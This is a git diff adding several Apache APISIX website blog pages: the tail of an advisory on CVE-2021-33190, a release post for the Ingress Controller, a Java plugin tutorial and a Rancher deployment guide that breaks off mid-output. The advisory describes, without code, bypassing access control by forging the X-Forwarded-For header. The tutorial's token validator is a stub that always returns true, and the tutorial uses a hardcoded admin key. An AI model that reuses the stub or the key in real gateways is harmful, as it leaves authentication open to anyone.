+<p>the configuration item <code>conf.allow_list</code>, which is used for access control and only allows access to <code>127.0.0.1</code> (i.e. local network) by default.</p>
+</li>
+</ol>
+<p>Since the program makes access control determinations by obtaining the value of the request header <code>X-Forwarded-For</code>, an attacker can achieve an access control bypass attack by simply tampering with this request header when invoking an API request.</p>
+<h2 id="affected-versions">Affected Versions</h2>
+<p>Apache APISIX 2.6.0</p>
+<h2 id="solution">Solution</h2>
+<p>This issue has been resolved in version 2.6.1. Please update to the latest version as soon as possible and change the default username and password after deploying the application.</p>
+<h2 id="vulnerability-details">Vulnerability details</h2>
+<p>Vulnerability public date: June 8, 2021</p>
+<p>CVE details: <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-33190">https://nvd.nist.gov/vuln/detail/CVE-2021-33190</a></p>
+<h2 id="contributor-profile">Contributor Profile</h2>
+<p>This vulnerability was discovered by Vern at Ping An Technology Galaxy Security Lab and reported to the Apache Software Foundation. Thanks to Vern and Ping An Technology Galaxy Security Lab for their contributions to the Apache APISIX community.</p>
+<p><img src="https://static.apiseven.com/202108/1639463130837-f27bf7bf-28b9-4742-a40f-ee43ebf5a7a8.jpeg" alt="2021-06-17-1"></p>
+<h2 id="expanded-reading">Expanded Reading</h2>
+<p>[Apache APISIX Contributor Interview | Pengcheng Wang, Senior Security Consultant, PwC South China Data Security & Privacy Team](./2021-01-11-interview-Apache-APISIX-contributor-Wang-Pengcheng-Senior-Security-Advisor-of-PwC-South-China-Data-Security-and- Privacy-Protection-Team.md)</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a hre [...]
\ No newline at end of file
diff --git a/blog/2021/06/18/first-ga-version-v1.0-of-apache-apisix-ingress-controller-released/index.html b/blog/2021/06/18/first-ga-version-v1.0-of-apache-apisix-ingress-controller-released/index.html
new file mode 100644
index 00000000000..9ab1b25596a
--- /dev/null
+++ b/blog/2021/06/18/first-ga-version-v1.0-of-apache-apisix-ingress-controller-released/index.html
@@ -0,0 +1,67 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>APISIX Ingress Controller 1.0 Release | Apache APISIX</title><meta name="description" content="Apache APISIX Ingress Controller released, supports resources such as ApisixRoute and ApisixUpstream, and also supports control of external traffic."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/06/18 [...]
+<p>Apache APISIX Ingress Controller v1.0 has been released, supporting the use of custom resources including <code>ApisixRoute</code>, <code>ApisixUpstream</code>, and Kubernetes native Ingress resources to control external traffic access to services deployed in Kubernetes. services deployed in Kubernetes.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="about-apache-apisix-ingress-controller">About Apache APISIX Ingress Controller</h2>
+<p>The Apache APISIX Ingress Controller is a cloud-native Ingress Controller implementation that uses Apache APISIX as a data plane to carry traffic and extends Kubernetes using CRD.</p>
+<!--truncate-->
+<p>Supports controlling external traffic access to services deployed in Kubernetes using custom resources including ApisixRoute, ApisixUpstream, and Kubernetes-native Ingress resources.</p>
+<p>The overall architecture is as follows.</p>
+<p><img src="https://static.apiseven.com/202108/1639464578081-06d7c64a-b597-444f-a59f-0217676e1ffc.png" alt="Apache APISIX Ingress Controller Architecture Diagram"></p>
+<h2 id="v10-latest-features">v1.0 latest features</h2>
+<h3 id="add-apisixconsumer-custom-resource-to-make-configuration-authentication-more-convenient">Add ApisixConsumer custom resource to make configuration authentication more convenient</h3>
+<p>In the previous version, if you want to configure keyAuth or basicAuth, you need to manually call Apache APISIX admin api to create consumer configuration.</p>
+<p>In v1.0, we added the <code>ApisixConsumer</code> resource, which allows users to define consumer resources and configure authentication for ApisixRoute in a more native way.</p>
+<p>For example, a keyAuth resource is defined with the following configuration.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787">apiVersion</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">apisix.apache.org/v2alpha1</span></span>
+<span class="line"><span style="color:#7EE787">kind</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ApisixConsumer</span></span>
+<span class="line"><span style="color:#7EE787">metadata</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">keyauth</span></span>
+<span class="line"><span style="color:#7EE787">spec</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> authParameter</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> keyAuth</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> value</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> key</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">API</span></span></code></pre>
+<p>In ApisixRoute you only need to add the corresponding type of <code>authentication</code> configuration.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787">apiVersion</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">apisix.apache.org/v2alpha1</span></span>
+<span class="line"><span style="color:#7EE787">kind</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ApisixRoute</span></span>
+<span class="line"><span style="color:#7EE787">metadata</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">httpbin-route</span></span>
+<span class="line"><span style="color:#7EE787">spec</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> http</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#79C0FF"> ...</span></span>
+<span class="line"><span style="color:#7EE787"> authentication</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enable</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#7EE787"> type</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">keyAuth</span></span></code></pre>
+<h3 id="adding-mtls-support-to-apisixtls">Adding mTLS support to ApisixTls</h3>
+<p>In v1.0 we also added mTLS support for ApisixTls custom resources, just add the client configuration to the ApisixTls resource configuration, e.g.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787">apiVersion</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">apisix.apache.org/v1</span></span>
+<span class="line"><span style="color:#7EE787">kind</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ApisixTls</span></span>
+<span class="line"><span style="color:#7EE787">metadata</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">sample-tls</span></span>
+<span class="line"><span style="color:#7EE787">spec</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#79C0FF"> ...</span></span>
+<span class="line"><span style="color:#7EE787"> client</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> ... client</span><span style="color:#E6EDF3">: </span><span style="color:#7EE787">caSecret</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">client-ca-secret</span></span>
+<span class="line"><span style="color:#7EE787"> namespace</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">default</span></span></code></pre>
+<h3 id="added-more-annotations-to-the-native-ingress-resource-to-enrich-its-functionality">Added more annotations to the native Ingress resource to enrich its functionality</h3>
+<ul>
+<li><code>k8s.apisix.apache.org/blocklist-source-range</code> to restrict the source IP.</li>
+<li><code>k8s.apisix.apache.org/rewrite-target</code> and <code>k8s.apisix.apache.org/rewrite-target-regex</code> to perform target rewrite operations.</li>
+<li><code>k8s.apisix.apache.org/http-to-https</code> to perform HTTP to HTTPS forced redirects.</li>
+</ul>
+<p>See the project <a href="https://github.com/apache/apisix-ingress-controller/blob/master/CHANGELOG.md">CHANGELOG</a> for more feature changes.</p>
+<h2 id="why-use-apisix-ingress-controller">Why use APISIX Ingress Controller</h2>
+<p>Apache APISIX Ingress Controller uses Apache APISIX as its data plane to carry business traffic, so it inherits the following advantages from Apache APISIX.</p>
+<ul>
+<li><strong>High Performance & Stability</strong>: Apache APISIX is a cloud-native high-performance dynamic API gateway that has been used in many enterprise large-scale traffic scenarios, and its performance and stability have been tested for a long time.</li>
+<li><strong>Rich ecology</strong>: Apache APISIX is currently the most active open source gateway project, as the top project of Apache, both the community activity and its plug-in ecology are very rich, can meet the user’s multiple use scenarios and needs.</li>
+</ul>
+<p>In addition, because APISIX Ingress Controller also has the following unique advantages.</p>
+<ul>
+<li><strong>Good compatibility</strong>: supports multiple Ingress resource versions and works fine in different Kubernetes versions.</li>
+<li><strong>Dynamic updates</strong>: Both Ingress resources and configuration updates such as certificates are hot loaded without reload, ensuring smooth business operation.</li>
+<li><strong>Flexible Scalability</strong>: Since APISIX Ingress Controller adopts the architecture of separate control plane and data plane, the data plane cluster of Apache APISIX can be scaled up separately without scaling up Apache APISIX Ingress Controller.</li>
+<li><strong>Operation and Maintenance Friendly</strong>: Under the current architecture, users can choose to deploy the dataplane Apache APISIX cluster in a Kubernetes cluster or in a physical machine environment as the case may be. And Apache APISIX Ingress Controller failure will not have any impact on business traffic.</li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/06/21/use-java-to-write-apache-apisix-plugins/index.html b/blog/2021/06/21/use-java-to-write-apache-apisix-plugins/index.html
new file mode 100644
index 00000000000..aa38d194bc1
--- /dev/null
+++ b/blog/2021/06/21/use-java-to-write-apache-apisix-plugins/index.html
@@ -0,0 +1,155 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>How to Write an Apache APISIX Plugin in Java | Apache APISIX</title><meta name="description" content="Write APISIX plugins in Java and integrate with Spring Cloud. Includes setup steps and plugin runner architecture."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/06/21/use-java-to-write-apache-a [...]
+<p>Apache APISIX now supports writing plugins in Java! You can now write plugins in a programming language you are familiar with.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="introduction">Introduction</h2>
+<h3 id="why-apache-apisix-supports-writing-plugins-in-multiple-programming-languages">Why Apache APISIX Supports Writing Plugins in Multiple Programming Languages?</h3>
+<p>Apache APISIX has been supporting customized plugins since the day it was born. But it only supported plugins written in Lua. As a result, developers need to have Lua and OpenResty-related development skills to actually write their own plugins. However, Lua and OpenResty are relatively less popular languages with fewer developers compared to Java and Go. Besides, learning Lua and OpenResty from scratch requires a lot of time and effort.</p>
+<p>During technological selection, the most important consideration for the development team is whether the chosen product matches the team’s technology stack. The niche technology stack limits Apache APISIX to become the first choice of API Gateway product in many scenarios.</p>
+<p>Now, Apache APISIX supports multi-language development plugins. More importantly, the development ecosystem where the language is supported, so users can use their familiar technology stack to develop Apache APISIX. With Apache APISIX supporting plugins written in Java, for example, users can not only write plugins in Java but also integrate into the Spring Cloud ecosystem and use a wide range of technical components within the ecosystem.</p>
+<h3 id="multiple-programming-languages-architecture-diagram">Multiple Programming Languages Architecture Diagram</h3>
+<p><img src="https://static.apiseven.com/202108/1639464774923-50cebc94-6344-4ea6-88a6-2b424c5f8567.png" alt="Multiple Programming Languages Architecture Diagram"></p>
+<p>The left side of the diagram shows the workflow of Apache APISIX. The right side of the diagram is the plugin runner, which is a generic term for projects with multiple programming languages support. The apisix-java-plugin-runner is a plugin runner that supports the Java language.</p>
+<p>When you configure a plugin runner in Apache APISIX, Apache APISIX starts a subprocess to run the plugin runner, which belongs to the same user as the Apache APISIX process. When we restart or reload Apache APISIX, the plugin runner will also be restarted.</p>
+<p>If you configure the ext-plugin-* plugin for a given route, a request hitting that route will trigger Apache APISIX to perform an RPC call to the plugin runner via a Unix socket. The call is broken down into two phases:</p>
+<ul>
+<li>ext-plugin-pre-req: Before executing the Apache APISIX built-in plugin (Lua plugin)</li>
+<li>ext-plugin-post-req: After executing the Apache APISIX built-in plugin (Lua plugin)</li>
+</ul>
+<p>Please configure the timing of the plugin runner execution as needed.
+The plugin runner processes the RPC call, creates a simulated request inside it, and then runs the multiple programming languages written a plugin and returns the result to Apache APISIX.</p>
+<p>The order of execution of multiple programming languages plugins is defined in the ext-plugin-* plugin configuration entry. Like other plugins, they can be enabled and redefined on the fly.</p>
+<h2 id="building-development-environment">Building Development Environment</h2>
+<p>First, you need to build the Apache APISIX runtime or development environment, please refer to <a href="https://github.com/apache/apisix/blob/master/docs/en/latest/building-apisix.md">Build Apache APISIX</a>, and <a href="https://github.com/apache/apisix-java-plugin-runner/blob/main/docs/en/latest/development.md">Build apisix-java-plugin-runner</a>.</p>
+<p>Note: Apache APISIX and apisix-java-plugin-runner need to be located on the same instance.</p>
+<h2 id="enabling-debugmode">Enabling Debug Mode</h2>
+<h3 id="configuring-apache-apisix-into-debugmode">Configuring Apache APISIX into Debug Mode</h3>
+<p>When Apache APISIX is configured into debug mode, it is allowed to run external plugins in a debugging manner. Add the following configuration to <code>config.yaml</code> to enable debug mode for Apache APISIX.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="text"><code><span class="line"><span>ext-plugin:</span></span>
+<span class="line"><span> path_for_test: /tmp/runner.sock</span></span></code></pre>
+<p>The configuration above means that Apache APISIX acts as the client and listens to the Unix Domain Socket link located at <code>/tmp/runner.sock</code>.</p>
+<h3 id="setting-apisix-java-plugin-runner-to-debugmode">Setting apisix-java-plugin-runner to Debug Mode</h3>
+<p>Before starting the <code>Mainclass(org.apache.apisix.plugin.runner.PluginRunnerApplication)</code>, you need to configure the user-level environment variables <code>APISIX_LISTEN_ADDRESS=unix:/tmp/runner.sock and APISIX_CONF_EXPIRE_TIME=3600</code>.</p>
+<p>If you are using IDEA for development, the configured environment variables are shown below.</p>
+<p><img src="https://static.apiseven.com/202108/1639464890287-ee6bbc3a-3f8b-4de7-9ce4-7670fb0c3f64.png" alt="configured environment"></p>
+<p>apisix-java-plugin-runner is equivalent to the server side and will actively create the <code>/tmp/runner.sock</code> file at startup and communicate with Apache APISIX on this file for Unix Domain Socket.</p>
+<h2 id="how-to-develop-a-java-plugin-for-apacheapisix">How to Develop a Java Plugin for Apache APISIX?</h2>
+<h3 id="scenario">Scenario</h3>
+<p>Let’s say we have a scenario like this: we need to verify the validity of the token in the request header. The way to verify the token is to carry the token as a parameter in the request and access the SSO fixed interface.</p>
+<h3 id="configuring-apacheapisix">Configuring Apache APISIX</h3>
+<p>First, name the plugin <code>TokenValidator</code>, and then design the properties. In order to achieve dynamic configuration as far as possible, the properties are designed as follows.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="json"><code><span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#7EE787"> "validate_header"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"token"</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "validate_url"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"https://www.sso.foo.com/token/validate"</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "rejected_code"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"403"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>Start Apache APISIX, then add a new route configuration specifying that the route requires a call to apisix-java-plugin-runner’s <code>TokenValidator</code> plugin, as shown in the following example.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/apisix/admin/routes/1</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> PUT</span><span st [...]
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "uri":"/get",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "plugins":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "ext-plugin-pre-req":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "conf":[</span></span>
+<span class="line"><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "name":"TokenValidator",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "value":"{\"validate_header\":\"token\",\"validate_url\":\"https://www.sso.foo.com/token/validate\",\"rejected_code\":\"403\"}"</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> ]</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "nodes":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "httpbin.org:80":1</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type":"roundrobin"</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF">}</span></span></code></pre>
+<p>Note that the properties of <code>TokenValidator</code> need to be escaped by json and configured as string type (the upstream address here is configured as httpbin.org to simplify the debugging process).</p>
+<h3 id="developing-a-javaplugin">Developing a Java Plugin</h3>
+<p>Add <code>TokenValidatr.java</code> with the following initial code skeleton In the <code>runner-plugin/src/main/java/org/apache/apisix/plugin/runner/filter</code> directory.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>package org.apache.apisix.plugin.runner.filter;</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span></span></span>
+<span class="line"><span></span></span>
+<span class="line"><span></span></span>
+<span class="line"><span></span></span>
+<span class="line"><span>@Component</span></span>
+<span class="line"><span>public class TokenValidator implements PluginFilter {</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> @Override</span></span>
+<span class="line"><span> public String name() {</span></span>
+<span class="line"><span> return "TokenValidator";</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> @Override</span></span>
+<span class="line"><span> public Mono<Void> filter(HttpRequest request, HttpResponse response, PluginFilterChain chain) {</span></span>
+<span class="line"><span> return chain.filter(request, response);</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span>}</span></span></code></pre>
+<p>This plugin inherits the <code>PluginFilter</code> interface and overrides the <code>name</code> and the <code>filter</code> function. Rewrite the return value of <code>name</code> to be consistent with “name” in the route attribute of APISIX configuration earlier. The complete code is as follows.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>package org.apache.apisix.plugin.runner.filter;</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span></span></span>
+<span class="line"><span></span></span>
+<span class="line"><span></span></span>
+<span class="line"><span></span></span>
+<span class="line"><span></span></span>
+<span class="line"><span></span></span>
+<span class="line"><span></span></span>
+<span class="line"><span>@Component</span></span>
+<span class="line"><span>public class TokenValidator implements PluginFilter {</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> @Override</span></span>
+<span class="line"><span> public String name() {</span></span>
+<span class="line"><span> return "TokenValidator";</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> @Override</span></span>
+<span class="line"><span> public Mono<Void> filter(HttpRequest request, HttpResponse response, PluginFilterChain chain) {</span></span>
+<span class="line"><span> // parse `conf` to json</span></span>
+<span class="line"><span> String configStr = request.getConfig(this);</span></span>
+<span class="line"><span> Gson gson = new Gson();</span></span>
+<span class="line"><span> Map<String, Object> conf = new HashMap<>();</span></span>
+<span class="line"><span> conf = gson.fromJson(configStr, conf.getClass());</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> // get configuration parameters</span></span>
+<span class="line"><span> String token = request.getHeader((String) conf.get("validate_header"));</span></span>
+<span class="line"><span> String validate_url = (String) conf.get("validate_url");</span></span>
+<span class="line"><span> boolean flag = validate(token, validate_url);</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> // token verification results</span></span>
+<span class="line"><span> if (!flag) {</span></span>
+<span class="line"><span> String rejected_code = (String) conf.get("rejected_code");</span></span>
+<span class="line"><span> response.setStatusCode(Integer.parseInt(rejected_code));</span></span>
+<span class="line"><span> return chain.filter(request, response);</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> return chain.filter(request, response);</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> private Boolean validate(String token, String validate_url) {</span></span>
+<span class="line"><span> //TODO: improve the validation process</span></span>
+<span class="line"><span> return true;</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span>}</span></span></code></pre>
+<h3 id="testing-theplugin">Testing the Plugin</h3>
+<p>The upstream service configured on Apache APISIX is httpbin.org, which allows you to access Apache APISIX, trigger the route, and have Apache APISIX call apisix-java-plugin-runner to execute the TokenValidator plugin and test the functionality of the Java plugin.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'token: 123456'</span><span style="color:#A5D6FF"> 127.0.0.1:9080/get</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#FFA657"> "args"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {},</span></span>
+<span class="line"><span style="color:#FFA657"> "headers"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "Accept"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "/",</span></span>
+<span class="line"><span style="color:#FFA657"> "Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "127.0.0.1",</span></span>
+<span class="line"><span style="color:#FFA657"> "Token"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "123456",</span></span>
+<span class="line"><span style="color:#FFA657"> "User-Agent"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "curl/7.71.1",</span></span>
+<span class="line"><span style="color:#FFA657"> "X-Amzn-Trace-Id"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "Root=1-60cb0424-02b5bf804cfeab5252392f96",</span></span>
+<span class="line"><span style="color:#FFA657"> "X-Forwarded-Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "127.0.0.1"</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#FFA657"> "origin"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "127.0.0.1",</span></span>
+<span class="line"><span style="color:#FFA657"> "url"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "http://127.0.0.1/get"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<h2 id="deploying-theplugin">Deploying the Plugin</h2>
+<p>After the development of the plugin is completed, the deployment operation can be found in referred to <a href="https://github.com/apache/apisix-java-plugin-runner/blob/main/docs/how-it-works.md#run">Deploying apisix-java-plugin-runner</a>.</p>
+<h2 id="video-tutorial">Video Tutorial</h2>
+<iframe height="350" width="600" src="https://api7-website-1301662268.file.myqcloud.com/2021-06-21-use-Java-to-write-Apache-APISIX-plugins.mp4" frameborder="0">
+</iframe> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a hre [...]
\ No newline at end of file
diff --git a/blog/2021/06/23/deploy-great-open-source-gateway-and-ingress-controller-fast/index.html b/blog/2021/06/23/deploy-great-open-source-gateway-and-ingress-controller-fast/index.html
new file mode 100644
index 00000000000..a93f37d3f64
--- /dev/null
+++ b/blog/2021/06/23/deploy-great-open-source-gateway-and-ingress-controller-fast/index.html
@@ -0,0 +1,106 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Deploy APISIX and APISIX Ingress Controller on Rancher | Apache APISIX</title><meta name="description" content="Through the cloud-native API gateway Apache APISIX Helm repository, you can directly deploy Apache APISIX and APISIX Ingress controller in Rancher."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org [...]
+<p>This article shows the procedure of installing and deploying Apache APISIX and Apache APISIX Ingress Controller in the Rancher App Store (Catalog), and how to proxy Kubernetes services through them.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="prerequisite">Prerequisite</h2>
+<p>Existing Kubernetes clusters are all hosted on Rancher.</p>
+<h2 id="step-1-configure-helm-chart-in-rancher">Step 1: Configure Helm Chart in Rancher</h2>
+<p>Visit Rancher’s Tools — Catalogs page.</p>
+<p>Click “Edit Catalog”, enter <a href="https://github.com/apache/apisix-helm-chart">https://github.com/apache/apisix-helm-chart</a> in “Catalog URL” to add the Helm repository for Apache APISIX in Rancher.</p>
+<p><img src="https://static.apiseven.com/202108/1639464984786-20a73a62-1e9d-463b-aac3-26ac18ab5228.png" alt="2021-06-23-1"></p>
+<p>Click “Save” to save the changes.</p>
+<p>Select the Apps page, select Launch to see the Apache APISIX repository information. Here we can directly select “apisix” to deploy Apache APISIX.</p>
+<p><img src="https://static.apiseven.com/202108/1639465059361-aa11ab87-11f7-45b6-964f-d285d41e8a39.png" alt="2021-06-23-2"></p>
+<p><img src="https://static.apiseven.com/202108/1639465129809-bf86383f-bab5-459d-bb02-e7d45e3b4c51.png" alt="2021-06-23-3"></p>
+<p>Since we want to <strong>deploy APISIX Ingress controller at the same time</strong>, fill in the <code>ingress-controller.enabled=true</code> in the Answers at the bottom. Then click ‘Save” to complete the deployment.</p>
+<p><img src="https://static.apiseven.com/202108/1639465197713-4ba6e7a2-8824-42e6-bf27-1d49f4e60ce5.png" alt="2021-06-23-4"></p>
+<p>Wait a few moments for the deployment to complete.</p>
+<p><img src="https://static.apiseven.com/202108/1639465259396-fc1104e9-289d-41b6-ae23-d6e05da066b1.png" alt="2021-06-23-5"></p>
+<h2 id="step-2-deploy-an-example-project">Step 2: Deploy an Example Project</h2>
+<p>We use <code>kennethreitz/httpbin</code> as a sample project for demonstration purpose. The deployment is also done directly in Rancher.</p>
+<p><img src="https://static.apiseven.com/202108/1639465331864-d8160567-d30c-427a-b0e5-425df6657879.png" alt="2021-06-23-6"></p>
+<h2 id="step-3-use-apache-apisix-as-an-api-gateway-to-proxy-services">Step 3: Use Apache APISIX as an API Gateway to Proxy Services</h2>
+<p>First, We demonstrate how to use Apache APISIX as a gateway to proxy services in a Kubernetes cluster.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">root@apisix:~$</span><span style="color:#A5D6FF"> kubectl</span><span style="color:#79C0FF"> -n</span><span style="color:#A5D6FF"> apisix</span><span style="color:#A5D6FF"> exec</span><span style="color:#79C0FF"> -it</span><span style="color:#A5D6FF"> `</span><span style="color:#FFA657">kubect [...]
+<span class="line"><span style="color:#FFA657">bash-5.1#</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> httpbin.default/get</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#FFA657"> "args"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {},</span></span>
+<span class="line"><span style="color:#FFA657"> "headers"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "Accept"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "*/*",</span></span>
+<span class="line"><span style="color:#FFA657"> "Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "httpbin.default",</span></span>
+<span class="line"><span style="color:#FFA657"> "User-Agent"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "curl/7.76.1"</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#FFA657"> "origin"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "10.244.3.3",</span></span>
